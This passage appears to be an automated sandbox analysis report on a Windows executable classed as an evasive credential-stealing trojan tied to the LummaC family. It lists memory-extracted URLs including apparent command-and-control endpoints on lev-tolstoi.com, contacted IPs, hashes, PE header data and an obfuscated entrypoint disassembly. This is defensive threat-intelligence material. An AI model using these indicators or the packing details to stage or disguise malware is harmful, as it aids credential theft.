https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/n#	ji2xlo1f.exe, 00000001.00000002.2585241320.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=THDq-gsQ	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiN#	ji2xlo1f.exe, 00000001.00000002.2585241320.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2506963341.00000000016F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lev-tolstoi.com/rsF#	ji2xlo1f.exe, 00000001.00000002.2585241320.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apim	ji2xlo1f.exe, 00000001.00000003.2483549945.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/subscriber_agreement/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apix	ji2xlo1f.exe, 00000001.00000003.2483549945.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/discussions/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com:443/api2	ji2xlo1f.exe, 00000001.00000002.2584910256.0000000001672000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=kOc26QwM0vlX&l=e	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	ji2xlo1f.exe, 00000001.00000003.2413736446.0000000003E33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577533
Start date and time:	2024-12-18 15:16:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ji2xlo1f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@11/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.198.119.143, 92.122.16.236, 20.190.181.0, 20.223.36.55, 13.107.246.63, 2.16.158.185, 4.175.87.197, 150.171.28.10, 20.74.19.45, 2.16.158.243, 20.223.35.26
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, wns.notify.trafficmanager.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net
Execution Graph export aborted for target ji2xlo1f.exe, PID 4176 because there are no executed function
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ji2xlo1f.exe

Simulations

Behavior and APIs

Time	Type	Description
09:17:35	API Interceptor	13x Sleep call for process: ji2xlo1f.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
23.55.153.106	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse
	cccc2.exe	Get hash	malicious	LummaC	Browse
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse
	99awhy8l.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	172.67.157.254
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	2kudv4ea.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
bg.microsoft.map.fastly.net	Order_948575494759.xls	Get hash	malicious	Unknown	Browse	199.232.214.172
	DocuStream_Scan_l8obgs3v.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	stail.exe.3.exe	Get hash	malicious	Socks5Systemz	Browse	199.232.214.172
	22TxDBB1.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	pyld611114.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	199.232.214.172
	do.ps1	Get hash	malicious	Unknown	Browse	199.232.214.172
	Opdxdyeul.exe	Get hash	malicious	SystemBC	Browse	199.232.210.172
	YcxjdYUKIb.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	199.232.210.172
steamcommunity.com	f86nrrc6.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	cccc2.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	23.55.153.106
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	http://www.mynylgbs.com	Get hash	malicious	Unknown	Browse	23.195.38.175
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	96.17.102.118
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	cccc2.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	23.55.153.106
CLOUDFLARENETUS	https://heyzine.com/flip-book/f976862c0c.html	Get hash	malicious	Unknown	Browse	172.67.73.205
	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	HI6VIJERUn.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	DocuStream_Scan_l8obgs3v.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	random.exe.2.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	162.159.140.147
	goldlummaa.exe	Get hash	malicious	LummaC	Browse	104.21.50.161

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	f86nrrc6.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	random.exe.2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	goldlummaa.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.66.86 23.55.153.106
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	ScreenUpdateSync.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	random.exe.10.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.865628370184908
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ji2xlo1f.exe
File size:	6'289'408 bytes
MD5:	9f8ca917737b3233abb943edc065659c
SHA1:	ea6df1e154c02f0089c8f3c4b3acc69c01d30774
SHA256:	cd4061786081eb01aa278dfff5adca5a80d827e456719e40d06f3dc9353bed22
SHA512:	2ffbab3c1b8518a4a2f75a20dd475949ad326adbe34b7f20d47840ec925b60af886839f55fd8360297bf573e2590b268091822b6c6daf1d349476cdef68c3780
SSDEEP:	98304:aqg9irR/fRdwlaqteBNHi9efT/VwE6S2miOaRDbSXBwI+tycngWhV7nITfse33Jo:aqgO/fR6peBnDVwXuSDCiTxDV7ITfXS
TLSH:	7456238B1A9B40EAD8C414B09317BAF713F2ADE64C860C377AC574CE74B2EB56167907
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....3%g.............................IP...........@...................................`...@..................................b?....

File Icon


Icon Hash:	0d01070e0b8ec70f

Static PE Info

General

Entrypoint:	0x9049e0
Entrypoint Section:	.vmp
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67253391 [Fri Nov 1 20:01:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	6db65226fe38c2add317799e31764bfe

Entrypoint Preview

Instruction
push 031B931Dh
pushfd
sub dword ptr [esp+04h], 8E9C018Bh
not byte ptr [esp+04h]
mov word ptr [esp+04h], CEA6h
call 00007FE32D4A8BFCh
call 00007FE32D149720h
loope 00007FE32D1D6BEAh
sub ah, byte ptr [edx-00C1EAC3h]
adc ah, cl
lea edx, dword ptr [27D2FF3Eh]
std
jns 00007FE32D1D6BD2h
sbb byte ptr [ebx], 0000004Fh
jbe 00007FE32D1D6C8Dh
mov al, FFFFFFF0h
fucomi st(0), st(2)
rol dword ptr [eax], 44h
push eax
mov ebp, edx
rol dword ptr [eax], FFFFFF94h
ror byte ptr [ebx-16h], FFFFFFC1h
add byte ptr [edi+edi*2], bl
jns 00007FE32D1D6BE6h
xor edi, edi
haddps xmm7, xmm7
adc dword ptr [ecx-718BB24Dh], esp
nop
pop ebp
mov eax, 3A8BC736h
dec ebx
push ebx
jbe 00007FE32D1D6C11h
pop esp
push ebp
jnl 00007FE32D1D6BEFh
leave
push B5E7FF78h
inc ebp
xor dword ptr [eax+78h], ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3f62d4	0xa0	.vmp
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8f9000	0x64fbb	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8f8000	0x6a8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x326000	0xe4	.vmp
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
